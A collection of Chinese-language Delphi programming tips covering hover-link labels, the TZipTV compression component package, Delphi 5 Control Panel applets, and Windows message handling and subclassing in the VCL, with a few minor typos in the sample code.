procedure TForm1.Label1MouseMove(Sender: TObject;shift:Tshiftstate;x,y:integer);
begin
Label1.Font.Style:=[fsbold,fsunderline];
Label1.Font.Color:=clYellow;
end;

procedure TForm1.FormMouseMove(Sender: TObject;shift:Tshiftstate;x,y:integer);
begin
Label1.Font.Style:=[fsbold];
Label1.Font.Color :=clmaroon;
end;

procedure TForm1.Label1Click(Sender: TObject);

begin
Shellexecute(handle,nil,pchar('mailto:guihong@163.net'),nil,nil,sw_shownormal);
end;
再将Label1.Cursor设为crHandPoint，Label1的OnMouseMove事件设为Label1MouseMove， Form1的OnMouseMove事件设为FormMouseMove，Label1的OnClick事件设为Label1Click，那么就这种效果了。


压缩处理

     《家用电脑》刊登了一篇文章，介绍如何使用Xceed公司出品的XceedZip控件来设计自己的压缩软件，的确值得借鉴和学习。但对Delphi程序员来讲，另有一个异常强大的压缩控件包不可以不用，那就是Microchip Data System推出的TZipTV压缩控件包，该控件包由Carl Bunton编写，目前最高版本为1.61，属于共享软件。之所以说它异常强大，有以下几个原因：(1)支持的压缩编码格式多达17种，包括 ZIP、ZOO、RAR、ARJ、ARC、CAB、HA、LHA、LZH、PAK、TAR、GZIP、Z、BH、UUE、XXE和ENC。(2)除了处理CAB和RAR压缩文件需要Cabnet.dll和Unrar.dll外，处理其它格式都不依赖额外的DLL，也就是可以把绝大部分代码都编译在你的软件中。（非常符合目前的“绿色软件“标准吧！）(3)TZipTV控件包的设计非常全面周到，使程序员拥有充分的控制权，可以在需要的位置加入自己的处理代码。(4)除了为数不多的限制外，共享版和注册版在功能上几乎一样，并且没有时间限制，但非注册版控件编译后，软件运行出现的第一个窗口总是TZipTV的一个声明（显示这是一个非注册版，但不影响程序以后的运行）。看了以上的介绍，您肯定想知道如何使用这个控件包，下面我就来做一个简单的说明。
    TZipTV控件包包括二类控件：(1)压缩和解压缩控件，它又分为三类。1. 压缩控件4个：TBlackHole、 TZip、TLha和TMakeCab。2. 解压缩控件11个：TUnBH (BlakHole)、TUnARC、TUnARJ、TUnCAB、TUnGZIP、TUnLHA、TUnRAR、TUnTAR、TUnZIP和TUnZOO。以上各种控件的作用从它们的名称上就可以看出，勿需多加解释。3.其它控件6个：TArc2Arc（用来对文件的压缩格式进行转换）、TZipTV（显示压缩文件中的文件信息）、TZipCheck（校验压缩文件的完整性）、TUnSFX（将自解压文件转换成正常的压缩格式）、TZipSearch（在压缩文件中直接查找内容）和TTurboSearch（可同时对多个压缩文件进行查找）。(2)E－mail附件文件的编码和解码控件：TUUEncode和TUUDecode（本文对这两个控件不做介绍）。
    使用以上各个控件和使用Delphi的标准控件一样，把所需要的控件放在窗体上，对控件的主要属性进行赋值，在相应的事件中加入您的处理代码，然后调用该控件的方法，具体内容您可以参考TZipTV控件包的帮助文件，典型的使用代码如下：
    ZipTV1.ArchiveFile :=` C:\Myzip.zip';
    {指明要处理哪个压缩文件，包含路径和文件名}
    ZipTV1.FileSpec :=`＊.＊ ';
     {指明要处理压缩文件中哪种类型文件或将哪种类型文件加入到压缩文件中，允许使用通用符，为TStringList变量}
    ZipTV1.Activate; {解压缩控件的调用声明为：UnZIP1.Extract}
    然后在需要的事件中加入您准备的处理代码，主要事件激发顺序如下：OnActivate →OnRead →OnTotals →OnDeactivate。
    有关事件的功能说明：
    OnActivate：调用Activate或Extract方法后立即激活，控件开始工作时激活。
    OnRead ：每处理压缩文件中一个文件即激活一次，以下是与处理每一个文件相关的事件：
    OnBegin：处理一个文件前激活。
    OnEnd： 处理一个文件结束后激活。
    OnTotals： 处理完压缩文件中的全部文件后激活。
    OnDeactivate：控件完成工作后激活。
    OnError：控件处理遇到错误时激活，如无代码，则自动忽略错误。
    OnNextVolume：处理多卷压缩文件时激活。
    OnGetPassword：处理口令加密的压缩文件时激活，以便用户输入口令。
    OnProgresss：控件工作过程中，按照ProgresssNotify属性中定义的进度比例定时激活，用来显示工作进度。
    OnFileExists：限于TArc2Arc控件和全部解压缩控件。在生成新的目标文件时，若同名文件已经存在则激活，用以防止错误覆盖文件。
    看了以上各种事件，您是不是感到对程序的运行有了充足的控制权，当然，并不是每个控件都拥有以上全部的事件，也还有几个次要事件我在此未予列出，具体编程时您可以参照相应控件的帮助说明。此外，需加说明的是，不同控件的同名事件可以使用同一个事件处理程序，如你已经在Unzip1.OnRead事件中书写了一段处理程序，在UnRar1.OnRead中则勿需另写同样代码，只需在Delphi中的Object Inspector中将UnZip1.OnRead赋予UnRar1.OnRead即可。
    从前文介绍可以看出压缩／解压缩控件分为三类：压缩控件、解压缩控件和提取压缩文件信息的控件，因此TZipTV控件包预定义了相应的三个基本对象：TCompBase、 TUnBase和TZipCommon。其中TZipCommon是所有TZipTV控件的父对象。在编程中，必须运用这三个对象来进行协调各种控件。由于TZipTV控件包的帮助文件中未对这三种基类作任何解释，所以在此举例加以说明：
    1.读出压缩文件内的文件信息，并显示在一个ListView中。
    PROCEDURE TForm1.ZipTV1Read(Sender: TObject; Offset, Filenum: INTEGER); {为OnRead事件代码}
    VAR
     NewItem : TListItem; {ListView的子项}
     ZipCommon: TZipCommon; {TZipCommon基类的变量}
    BEGIN
     ZipCommon := TZipCommon( Sender ); {创建一个TZipCommon基类实例}
     NewItem := ListView1.Items.Add; {ListView中新增加一个子项}
     WITH NewItem DO {为每一个新子项增加实际内容}
     BEGIN
     ImageIndex := ZipCommon.ImageIndex; {显示文件类型的系统图标}
     Caption := ZipCommon.Filename ; {显示文件名}
     WITH SubItems DO {增加子结点内容}
     BEGIN
     Add( FormatDateTime( `mm' ＋ DateSeparator ＋`dd' ＋ DateSeparator ＋ `yy hh:mm', ZipCommon.Date ) ); {显示文件日期}
     Add( IntToStr( ZipCommon.PackedSize ) ); {显示文件压缩后的大小}
     Add( IntToStr( ZipCommon.UnpackedSize ) ); {显示文件压缩前的大小}
     Add( IntToStr( ZipCommon.Ratio ) ＋ `％' ); {显示文件压缩比例}
     Add( ZipCommon.sCompressionMethod ); {显示文件压缩模式}
     Add( ZipCommon.GetFileType( ZipCommon.Filename ) ); {显示文件类型说明}
     IF ZipCommon.Encrypted THEN Add(`Yes' ) ELSE Add(`No' ); {显示文件是否被加密}
     Add( ZipCommon.VolumeName ); {显示文件所属卷名}
     Add( StrPas( ZipTV1.FileComment ) ); {显示文件说明}
     END;
     END;
    END;
    2.压缩控件的调用方法：
     已定义变量：
     CompressComponent:TCompBase;
     以下处理不同压缩格式文件的代码：
     CompressComponent := NIL;
     WITH ZipTV1 DO {已将要处理的压缩文件如上用TZipTV控件打开}
     IF NOT IsArcCompressable( ArcType ) THEN
     ShowMessage(`不支持对该文件的压缩' )
     ELSE
     CASE ArcType OF {ArcType属性等于压缩文件的格式}
     atBH : CompressComponent := BlakHole1;
     atCAB : CompressComponent := MakeCab1;
     atZip,
     atZip250 : CompressComponent := Zip1;
     atLha,
     atLzh : CompressComponent := Lha1;
     END;
     以下为具体压缩操作的代码：
     CompressComponent.FileSpec.clear;
     CompressComponent.FileSpec.Add(`<要进行处理的文件名> ' );
     CompressComponent.Switch := swDelete; {TSwitch 取值包括swAdd、swMove、swDelete和swRead ，分别表示对文件进行添加、移动、删除和读取}
     IF CompressComponent.FileSpec.Count > 0 THEN CompressComponent.Activate;
    3.解压缩控件的调用方法，与上2类似：
    已定义变量：
     ExtractComponent :TUnBase;
    程序典型代码：
     CASE ZipTV1.ArcType OF
     atArc, atArcExe : ExtractComponent := UnARC1;
     atArj, atArjExe : ExtractComponent := UnARJ1;
     atBH, atBHExe : ExtractComponent := UnBH1;
     atCAB : ExtractComponent := UnCAB1;
     atGZIP : ExtractComponent := UnGZIP1;
     atLHA, atLhaExe, atLZH, atLzhExe : ExtractComponent := UnLHA1;
     atTar : ExtractComponent := UnTAR1;
     atUUE : ExtractComponent := UUDecode1;
     atRAR : ExtractComponent := UnRAR1;
     atZip, atZipExe, atZip250, atZip250Exe :
     BEGIN
     ExtractComponent := UnZIP1;
     ExtractComponent.ZipCmntBufSize := ZipTV1.ZipCmntBufSize;
     END;
     atZoo : ExtractComponent := UnZOO1;
     ELSE
     BEGIN
     MessageDlg(`不支持该类型文件的解压缩', mtInformation, [mbOK], 0 );
     EXIT;
     END;
     END;
    ExtractComponent.ArchiveFile := ZipTV1.ArchiveFile;
    ExtractComponent.Extract;
    在此需要说明的是TUnBase类型控件解压缩除了调用Extract方法外，还可以根据具体要求调用ExtractToMemoryStream 、ExtractToFileStream和ExtractToPointer 方法来实现对文件的解压缩，增加了使用上的弹性。
    举了以上例子，并不意味着一定要使用这三个基类来进行操作，可以直接应用它们的相应子类控件。但如果需要同时处理多种压缩格式，则需要利用以上基类，实现自动转换，从而用同样的代码来处理不同的压缩格式。
    文章到此就基本结束了，不知您对TZipTV控件包是否有了一个大体认识。如果你觉得有使用价值的话，赶快到http://www.ziptv.com去下载一个吧。最后额外说一句，注册版多出的功能是可以制作自解压文件和支持文件的口令加密。


创建控制面板程序

 ---- Borland Delphi是深受广大软件开发人员喜爱的一种高效、快速的RAD（Rapid Application Development）开发工具。在1999年秋季发布的Delphi 5中，Delphi又引入了许多新的特色。其中之一便是Delphi 5的Enterprise和Professional版本中新增了用于快速创建控制面板（CPL）程序的向导和类，这使得我们能够在可视化开发环境中非常方便地建立控制面板应用程序。

---- 一、关于控制面板程序

---- 在Windows中，用户通过控制面板来进行增删程序、添加硬件、设置各种系统属性等操作。控制面板中所显示的小程序(或称之为对话框)是由控制面板程序(Control Panel Application)提供的。Windows本身附带了十来个控制面板应用程序，它们都位于Windows的System目录下，扩展名为*.CPL。每个控制面板中的应用程序可以有一个或多个对话框，每个对话框在控制面板中用一个图标代表。

---- 控制面板应用程序实质上是一类特殊的动态链接库，每个控制面板程序必须输出一个CPlApplet函数，它是控制面板应用程序的入口，其主要作用是处理Windows消息。CPlApplet函数的原型为：

function CPlApplet(
hwndCPl: THandle; //Identifies the main
window of the controlling application.
uMsg: DWORD; // Specifies the message
being sent to the Control Panel application
lParam1, lParam2: Longint // Specify
additional message-specific information
): Longint; stdcall;

---- CplApplet函数是控制面板与控制面板应用程序通讯的唯一方式。一个控制面板程序中的CplApplet函数的基本框架结构如下：
function CPlApplet(hwndCPl: THandle; uMsg: DWORD;
lParam1, lParam2: Longint): Longint;
begin
//…
case (uMsg) of
CPL_INIT: begin {…} end;
CPL_GETCOUNT: begin {…} end;
CPL_INQUIRE: begin {…} end;
CPL_NEWINQUIRE: begin {…} end;
CPL_DBLCLK: begin {…} end;
CPL_STOP: begin {…} end;
CPL_EXIT: begin {…} end;
CPL_STARTWPARMS: begin {…} end;
CPL_SETUP: begin {…} end;
end;
//函数的返回值取决于uMsg
end;

---- 事实上，编写控制面板程序的主要任务都放在处理这些CPL_消息上，关于这些消息的含义，请参看Delphi 5所带的帮助文档Win32.hlp。
---- 为了简化控制面板程序的创建，Delphi 5新增了一个可视化构件库CtlPanel.PAS。CtlPanel单元中定义了TAppletApplication(控制面板应用程序类)和TAppletModule类.

---- 使用TAppletApplication和TAppletModule类构造控制面板应用程序是一件非常轻松的事情。下面我来介绍一下在Delphi 5中创建控制面板程序的基本步骤。

---- 二、Delphi 5中建立控制面板程序

---- 第一步：选择File | New菜单，在New Items对话框的New页上选择Control Panel Application，Delphi将创建一个新的控制面板应用程序（其中已经包含一个applet）。Delphi向导创建的工程文件如下：

library Project1;
uses
CtlPanel,
Unit1 in 'Unit1.pas'
{AppletModule1: TAppletModule};

exports CPlApplet;

{$R *.RES}
{$E cpl}

begin
Application.Initialize;
Application.CreateForm
(TAppletModule1, AppletModule1);
Application.Run;
end.

---- 在上面的DPR文件中，Application对象的类型是TAppletApplication，而不是TApplication，它是在CtlPanel单元中申明的。而且CplApplet函数也已经由CtlPanel单元定义好了。
---- 第二步：更改AppletModule的属性

---- 一个AppletModule对象代表一个对话框（即applet），一个CPL应用程序可以包含多个对话框。你可以通过Delphi向导来增添多个AppletModule。

---- AppletIcon属性：指定一个图标，此图标将出现在控制面板中。

---- Caption属性：显示在图标下面的文字。

---- Help属性：出现在控制面板窗口的状态栏上的文字。

---- ResidIcon属性：图标资源id，此属性与AppletIcon属性互斥。

---- ResidName属性：字符串资源id，此属性与Caption属性互斥。

---- ResidInfo属性：字符串资源id，此属性与Help属性互斥。

---- 第三步：编写事件句柄

---- 在控制面板中，当鼠标双击对话框的图标时，相应的AppletModule对象会产生OnActivate事件。为了响应鼠标的双击，你需要为TAppletModule的OnActivate事件属性提供一个事件句柄。

procedure TAppletModule1.
AppletModuleActivate(Sender:
TObject; Data: Integer);
begin
MessageBox(Application.ControlPanelHandle,
'Delphi 5 is so great!', 'CPL Demo',
MB_ICONINFORMATION);
end;

---- 第四步：CPL的安装
---- 由于动态连接库工程文件中有一个{$E cpl}编译指示字，编译此DPR文件将产生一个扩展名为.CPL的文件，它就是我们所要的控制面板应用程序模块。控制面板程序的安装十分简单，只要将CPL文件拷贝到Windows的System目录（或者Windows NT的System32目录）下即可。当你再次打开控制面板时，你所编写的控制面板应用程序就会出现。


用WndProc来处理消息

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type

TURLLabel = class(TLabel)
procedure WndProc(var Message : TMessage); override;
end;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

{ TURLLabel }

procedure TURLLabel.WndProc(var Message: TMessage);
begin
if
(Message.Msg = CM_MOUSELEAVE) then
begin
Font.Color := clWindowText;
Font.Style := Font.Style -
[fsUnderline];
end;
if (Message.Msg = CM_MOUSEENTER) then
begin
Font.Color := clBlue;
Font.Style := Font.Style + [fsUnderline];
end;
inherited WndProc(Message);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
with
TURLLabel.Create(Self) do
begin
Parent :=
Self;
Left := 10;
Top := 10;
caption := 'www.delphi3000.com';
Cursor := crHandPoint;
end;
end;

end.


使控件在设计时响应消息

{Add the following method to your component}
procedure CMDesignHitTest(var Message: TCMDesignHitTest); message CM_DESIGNHITTEST;

{The implemenation should look like this : }
procedure TMyButton.CMDesignHitTest(var Message: TCMDesignHitTest);
begin
Message.Result := 0;
end;


使Memo自动滚动

 memo.Perform(EM_SCROLLCARET, 0, 0 );


截获滚动条消息

type
{$IFDEF WIN32}
WParameter = LongInt;
{$ELSE}
WParameter = Word;
{$ENDIF}
LParameter = LongInt;

{Declare a variable to hold the window procedure we are replacing}
var
OldWindowProc : Pointer;

function NewWindowProc(WindowHandle : hWnd;
TheMessage : WParameter;
ParamW : WParameter;
ParamL : LParameter) : LongInt
{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
var
TheRangeMin : integer;
TheRangeMax : integer;
TheRange : integer;
begin

if TheMessage = WM_VSCROLL then begin
{Get the min and max range of the horizontal scroll box}
GetScrollRange(WindowHandle,
SB_HORZ,
TheRangeMin,
TheRangeMax);
{Get the vertical scroll box position}
TheRange := GetScrollPos(WindowHandle,
SB_VERT);
{Make sure we wont exceed the range}
if TheRange < TheRangeMin then
TheRange := TheRangeMin else
if TheRange > TheRangeMax then
TheRange := TheRangeMax;
{Set the horizontal scroll bar}
SetScrollPos(WindowHandle,
SB_HORZ,
TheRange,
true);
end;

if TheMessage = WM_HSCROLL then begin
{Get the min and max range of the horizontal scroll box}
GetScrollRange(WindowHandle,
SB_VERT,
TheRangeMin,
TheRangeMax);
{Get the horizontal scroll box position}
TheRange := GetScrollPos(WindowHandle,
SB_HORZ);
{Make sure we wont exceed the range}
if TheRange < TheRangeMin then
TheRange := TheRangeMin else
if TheRange > TheRangeMax then
TheRange := TheRangeMax;
{Set the vertical scroll bar}
SetScrollPos(WindowHandle,
SB_VERT,
TheRange,
true);
end;

{ Call the old Window procedure to }
{ allow processing of the message. }
NewWindowProc := CallWindowProc(OldWindowProc,
WindowHandle,
TheMessage,
ParamW,
ParamL);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
{ Set the new window procedure for the control }
{ and remember the old window procedure. }
OldWindowProc := Pointer(SetWindowLong(ScrollBox1.Handle,
GWL_WNDPROC,
LongInt(@NewWindowProc)));
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
{ Set the window procedure back }
{ to the old window procedure. }
SetWindowLong(ScrollBox1.Handle,
GWL_WNDPROC,
LongInt(OldWindowProc));

end;


消息广播

 var
s : array[0..64] of char;
begin
StrCopy(S, 'windows');
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
end;


支持文件拖放的程序

unit drag_support_demo;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,shellapi,
StdCtrls;

type
TForm1 = class(TForm)
Memo1:
TMemo;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure wmdropfiles(var message:tmessage);message wm_dropfiles;
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
Dragacceptfiles(form1.handle,true);
end;

procedure tform1.wmdropfiles(var message:tmessage);
var
p:array[0..254] of char;
i:word;
begin
inherited;
memo1.lines.clear;
{$IFDEF WIN32}
I:=dragqueryfile(message.wparam,$ffffffff,nil,0);
{$ELSE}
I:=dragqueryfile(message.wparam,$ffff,nil,0);
{$ENDIF}
caption:=inttostr(i);
for i:=0 to i-1 do
begin
dragqueryfile(message.wparam,i,p,255);
memo1.lines.add(strpas(p));
end;
end;
end.


俘获windows关闭的消息

 响应 WM_QUERYENDSESSION 消息
procedure WMQueryEndSession (var Message: TMessage); message WM_QUERYENDSESSION ;
如果返回0,表明不能关闭


运行中拖动一个元件

 在一个新的Form中放入一个Panel，加入如下代码：
procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
const
SC_DragMove = $F012; { a magic number }
begin
ReleaseCapture;
panel1.perform(WM_SysCommand, SC_DragMove, 0);
end;
/////////////////////////////////////////////
procedure TForm1.Button1MouseDown(Sender: TObject; Button:
TMouseButton; Shift: TShiftState; X, Y: Integer);
{$IFNDEF WIN32}
var
pt : TPoint;
{$ENDIF}
begin
if ssCtrl in Shift then begin
ReleaseCapture;
SendMessage(Button1.Handle, WM_SYSCOMMAND, 61458, 0);
{$IFNDEF WIN32}
GetCursorPos(pt);
SendMessage(Button1.Handle,
WM_LBUTTONUP,
MK_CONTROL,
Longint(pt));
{$ENDIF}
end;
end;


截获非客户区的消息

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
private
procedure WMNCMOUSEMOVE(var Message: TMessage);
message WM_NCMOUSEMOVE;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMNCMOUSEMOVE(var Message: TMessage);
var
s : string;
begin
case Message.wParam of
HTERROR : s := 'HTERROR';
HTTRANSPARENT : s := 'HTTRANSPARENT';
HTNOWHERE : s := 'HTNOWHERE';
HTCLIENT : s := 'HTCLIENT';
HTCAPTION : s := 'HTCAPTION';
HTSYSMENU : s := 'HTSYSMENU';
HTSIZE : s := 'HTSIZE';
HTMENU : s := 'HTMENU';
HTHSCROLL : s := 'HTHSCROLL';
HTVSCROLL : s := 'HTVSCROLL';
HTMINBUTTON : s := 'HTMINBUTTON';
HTMAXBUTTON : s := 'HTMAXBUTTON';
HTLEFT : s := 'HTLEFT';
HTRIGHT : s := 'HTRIGHT';
HTTOP : s := 'HTTOP';
HTTOPLEFT : s := 'HTTOPLEFT';
HTTOPRIGHT : s := 'HTTOPRIGHT';
HTBOTTOM : s := 'HTBOTTOM';
HTBOTTOMLEFT : s := 'HTBOTTOMLEFT';
HTBOTTOMRIGHT : s := 'HTBOTTOMRIGHT';
HTBORDER : s := 'HTBORDER';
HTOBJECT : s := 'HTOBJECT';
HTCLOSE : s := 'HTCLOSE';
HTHELP : s := 'HTHELP';
else s := '';
end;
Form1.Caption := s;
Message.Result := 0;
end;

end.


richedit中用鼠标右键定位光标

来自：Energy 时间：99-12-2 14:17:32 ID:163738
// 确切的说，在选中状态下是不应该丢失选中文本的。
// 比较全面的做法如下，按右键可以达到很好的你好的效果

procedure TForm1.RxRichEdit1MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
TextRange: TCharRange;
atPos:Longint;
mousePoint:TPoint;
begin
if Button = mbRight then
begin
RxRichEdit1.Perform(EM_EXGETSEL,0, Longint(@TextRange));
if TextRange.cpMin<>TextRange.cpMax then
begin
mousePoint.x:=x;
mousePoint.y:=y;
atPos:=RxRichEdit1.Perform(EM_CHARFROMPOS,0,Longint(@mousePoint));
if ( atPosTextRange.cpMax) then
RxRichEdit1.Perform(WM_LBUTTONDOWN, MK_LBUTTON, MakeLong(X, Y));
end
else
RxRichEdit1.Perform(WM_LBUTTONDOWN, MK_LBUTTON, MakeLong(X, Y));
end;
end;


给控件添加弹出试菜单

 procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if button = mbRight then
with (Sender AS TControl) do
with ClientToScreen(Point(X,Y)) do
begin
PopupMenu1.PopupComponent := TComponent(Sender);
PopupMenu1.Popup(X,Y);
end;
end;


选择复选按钮不激发OnClick

procedure CheckNoClick(CB: TCheckBox; CheckIt: Boolean);
begin
CB.Perform(BM_SETCHECK, Ord(CheckIt), 0);
end;

Using this procedure, the code for checking a TComboBox
called ComboBox1 looks like this:

CheckNoClick(ComboBox1, True);


DELPHI中的消息处理机制

在DELPHI 中 可 自 定 义 消 息, 并 可 直 接 处 理 消 息. 这 对 于 那 些 希 望 编 写 自 己 的 构 件(Component), 或 者 希 望 截 获. 过 滤 消 息 的 用 户 来 说 是 必 不 可 少 的. 因 为 编 写 构 件 一 般 要 对 相 应 的 消 息 进 行 处 理. 下 面 就 对Delphi 中 消 息 处 理 机 制 进 行 一 下 介 绍。

一.DELPHI VCL 中 消 息 的 传 递
Delphi 中 每 一 个VCL(Visual Component Library) 构 件( 如Tbutton,Tedit 等) 都 有 一 内 在 的 消 息 处 理 机 制， 其 基 本 点 就 是 构 件 类 接 收 到 某 些 消 息 并 把 它 们 发 送 给 适 当 的 处 理 方 法, 如 果 没 有 特 定 的 处 理 方 法， 则 调 用 缺 省 的 消 息 处 理 句 柄。 其 中mainwndproc 是 定 义 在Twincontrol 类 中 的 一 个 静 态 方 法， 不 能 被 重 载(Override)。 它 不 直 接 处 理 消 息， 而 是 交 由wndproc 方 法 处 理， 并 为wndproc 方 法 提 供 一 个 异 常 处 理 模 块。Mainwndproc 方 法 声 明 如 下:

procedure MainWndProc(var Message: TMessage);

Wndproc 是 在Tcontrol 类 中 定 义 的 一 个 虚 拟 方 法, 由 它 调 用dispatch 方 法 来 进 行 消 息 的 分 配, wndproc 方 法 声 明 如 下:

procedure WndProc(var Message: TMessage); virtual;

dispatch 方 法 是 在Tobject 根 类 中 定 义 的, 其 声 明 如 下:

procedure Tobject.dispatch(var Message); 传 递 给dispatch 的 消 息 参 数 必 须 是 一 个 记 录 类 型, 且 这 个 记 录 中 第 一 个 入 点 必 须 是 一 个cardinal 类 型 的 域(field), 它 包 含 了 要 分 配 的 消 息 的 消 息 号 码. 例 如:

type

Tmessage=record

Msg:cardinal;

wparam:word;

lparam:longint; .

result:longint;

end;
而Dispatch 方 法 会 根 据 消 息 号 码 调 用 构 件 的 最 后 代 类 中 处 理 此 消 息 的 句 柄 方 法. 如 果 此 构 件 和 它 的 祖 先 类 中 都 没 有 对 应 此 消 息 的 处 理 句 柄,Dispatch 方 法 便 会 调 用Defaulthandler 方 法.Defaulthandler 方 法 是 定 义 于Tobject 中 的 虚 拟 方 法, 其 声 明 如 下:

procedure Defaulthandler(var Message);virtual;

Tobject 类 中 的Defaulthandler 方 法 只 是 实 现 简 单 的 返 回 而 不 对 消 息 进 行 任 何 的 处 理. 我 们 可 以 通 过 对 此 虚 拟 方 法 的 重 载, 在 子 类 中 实 现 对 消 息 的 缺 省 处 理. 对 于VCL 中 的 构 件 而 言, 其Defaulthandler 方 法 会 启 动 windows API 函 数Defwindowproc 对 消 息 进 行 处 理.

二.DELPHI 中 的 消 息 处 理 句 柄
在DELPHI 中 用 户 可 以 自 定 义 消 息 及 消 息 处 理 句 柄. 消 息 处 理 句 柄 的 定 义 有 如 下 几 个 原 则:

消 息 处 理 句 柄 方 法 必 须 是 一 个 过 程, 且 只 能 传 递 一 个Tmessage 型 变 量 参 数.

方 法 声 明 后 要 有 一 个message 命 令, 后 接 一 个 在0 到32767 之 间 的 消 息 标 号( 整 型 常 数).
消 息 处 理 句 柄 方 法 不 需 要 用override 命 令 来 显 式 指 明 重 载 祖 先 的 一 个 消 息 处 理 句 柄, 另 外 它 一 般 声 明 在 构 件 的protected 或private 区.
在 消 息 处 理 句 柄 中 一 般 先 是 用 户 自 己 对 消 息 的 处 理, 最 后 用inherited 命 令 调 用 祖 先 类 中 对 应 此 消 息 的 处 理 句 柄（ 有 些 情 况 下 可 能 正 相 反）. 由 于 可 能 对 祖 先 类 中 对 此 消 息 的 处 理 句 柄 的 名 字 和 参 数 类 型 不 清 楚, 而 调 用 命 令inherited 可 以 避 免 此 麻 烦, 同 样 如 果 祖 先 类 中 没 有 对 应 此 消 息 的 处 理 句 柄,inherited 就 会 自 动 调 用Defaulthandler 方 法.（ 当 然 如 果 要 屏 蔽 掉 此 消 息, 就 不 用inherited 命 令 了）。

消 息 处 理 句 柄 方 法 声 明 为：
procedure Mymsgmethod(var message:Tmessage); message Msgtype;

同 样 用 户 也 可 以 定 义 自 己 的 消 息, 用 户 自 定 义 消 息 应 从WM_USER 开 始.

自 定 义 消 息 及 消 息 处 理 句 柄 举 例 如 下:

const my_paint=Wm_user+1;

type

Tmypaint=record

msgid:cardinal;

msize:word;

mcolor:longint;

msgresult:longint;

end;

type

Tmycontrol=class(TCustomControl)

protected

procedure change(var message:Tmypaint); message my_paint;

.....

end;

......

procedure Tmycontrol.change(var message:Tmypaint);

begin

size:=message.msize; { 设 置Tmybutton 尺 寸 属 性}

color:=message.mcolor; { 设 置Tmybutton 颜 色 属 性}

{do something else}

inherited; { 交 由Tcustomcontrol 处 理}

end;
三. 过 滤 消 息

过 滤 消 息 又 称 消 息 陷 阱。 在 一 定 情 况 下， 用 户 可 能 需 要 屏 蔽 某 些 消 息. 或 者 截 获 某 些 消 息 进 行 处 理。 由 以 上 介 绍 可 以 看 出 过 滤 消 息 一 般 有 三 种 途 径：(1). 重 载 构 件 继 承 的 虚 拟 方 法wndproc. (2). 针 对 某 消 息 编 写 消 息 处 理 句 柄. (3). 重 载 构 件 继 承 的 虚 拟 方 法Defhandler， 在 其 中 对 消 息 进 行 处 理。 其 中 常 用 的 方 法 是 方 法(2), 在 上 节 中 已 介 绍 过 了， 方 法(1) 与 方 法(3) 相 似， 这 里 只 简 单 介 绍 一 下 方 法(1)。

重 载 虚 拟 方 法wndproc 的 一 般 过 程 如 下：

procedure Tmyobject.wndproc(var message:Tmessage);

begin

{... 判 断 此 消 息 是 否 该 处 理..}

inherited wndproc(message);

{ 未 处 理 的 消 息 交 由 父 辈wndproc 方 法 处 理}

end;
由 此 可 以 看 出 在wndproc 方 法 中 处 理 消 息 的 优 势 是 可 以 过 滤 整 个 范 围 内 的 消 息， 而 不 必 为 每 个 消 息 指 定 一 个 处 理 句 柄， 事 实 上Tcontrol 构 件 中 就 是 利 用 它 来 过 滤 并 处 理 所 有 的 鼠 标 消 息 的( 从WM_mousefirst 到WM_mouselast， 如 下 代 码 示). 同 样 利 用 它 也 可 以 阻 止 某 些 消 息 被 发 送 给 处 理 句 柄。

procedure TControl.WndProc(var Message: TMessage);

begin

if (Message.Msg>=WM_MOUSEFIRST) and

(Message.Msg <= WM_MOUSELAST)

then

if Dragging then { 处 理 拖 曳 事 件}

DragMouseMsg(TWMMouse(Message))

else

... { 处 理 其 他 鼠 标 消 息}

end;

Dispatch(Message);

{ 否 则 正 常 发 送 消 息}

end;
下 例 为 一 简 单 的 自 定 义 构 件 例 子 ：

Tmyedit 类 是 从Tedit 类 派 生 出 的 一 个 新 类， 它 的 特 点 是 在 运 行 中 不 能 获 得 焦 点， 不 能 由 键 盘 输 入（ 有 点 类 似Tlabel 构 件）. 我 们 可 在 其wndproc 方 法 中 过 滤 出WM_setfocus,WM_mousemove 消 息 并 进 行 处 理 来 达 到 上 述 要 求， 源 程 序 如 下：

unit myedit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics,

Controls, Forms, Dialogs,

StdCtrls;

type

Tmyedit = class(TEdit)

private

{ Private declarations }

protected

{ Protected declarations }

{ other fields and methods}

procedure wndproc(var message:Tmessage);override;

public

{ Public declarations }

published

{ Published declarations }

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [Tmyedit]);

end;

procedure Tmyedit.wndproc(var message:tmessage);

begin

if message.msg=wm_mousemove then

begin

cursor:=crarrow;

{ 设 置 光 标 为crarrow, 而 不 是 缺 省 的crBeam 光 标}

exit;

end;

if message.msg=wm_SetFocus then exit;

{屏蔽掉WM_setfocus消息,不让Tmyedit控件获得输入焦点}

inherited wndproc(message);

{其他消息交父辈wndproc处理}

end;

end.
您 可 以 将Tmyedit 加 到Component Palette 中 检 验 其 性 能。

